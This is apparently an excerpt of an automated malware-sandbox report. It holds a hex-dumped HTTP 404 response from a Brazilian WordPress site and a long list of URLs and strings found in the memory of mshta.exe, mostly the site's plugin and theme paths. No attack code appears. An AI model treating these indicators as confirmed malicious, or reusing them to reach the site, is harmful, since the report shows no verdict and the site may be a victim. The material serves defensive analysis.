20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:30:09 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 14780694Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: owl.carousel[1].js.8.drString found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000003.1076556378.00000000038A0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178212345.00000000038A0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \//www.youtube.com/embed/%id%?autoplay=1//player.vimeo.com/video/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1180535191.0000000004071000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1035253700.0000000004070000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: owl-video-playing//view.vzaar.com///www.youtube.com/embed/ equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 00000008.00000002.1182611118.0000000004A4A000.00000004.00000020.00020000.00000000.sdmp, swfobject[1].js.8.drString found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 00000008.00000003.947657498.0000000000131000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: animate-logo[1].css.8.drString found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.drString found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br//
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/a-g
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/ag-
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200C;
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)QN
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.208
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20B
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20h
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)1
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0C:
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S
Source: mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3.0
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3:b
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3=
Source: mshta.exe, 00000008.00000003.1070311161.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1033917925.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1070575117.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1034236368.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180357807.0000000004048000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3p
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pnged
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngimg
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngmb
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs/bootstrap.min.js?ver=2.3.0h
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngtch
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngtuguese
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngQ
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pnglow-
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png_bg4.jpgtrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2C:
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2N
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000002.1175585514.0000000002DD8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/Cheemes/Che
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175432239.0000000002D9C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.07N
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
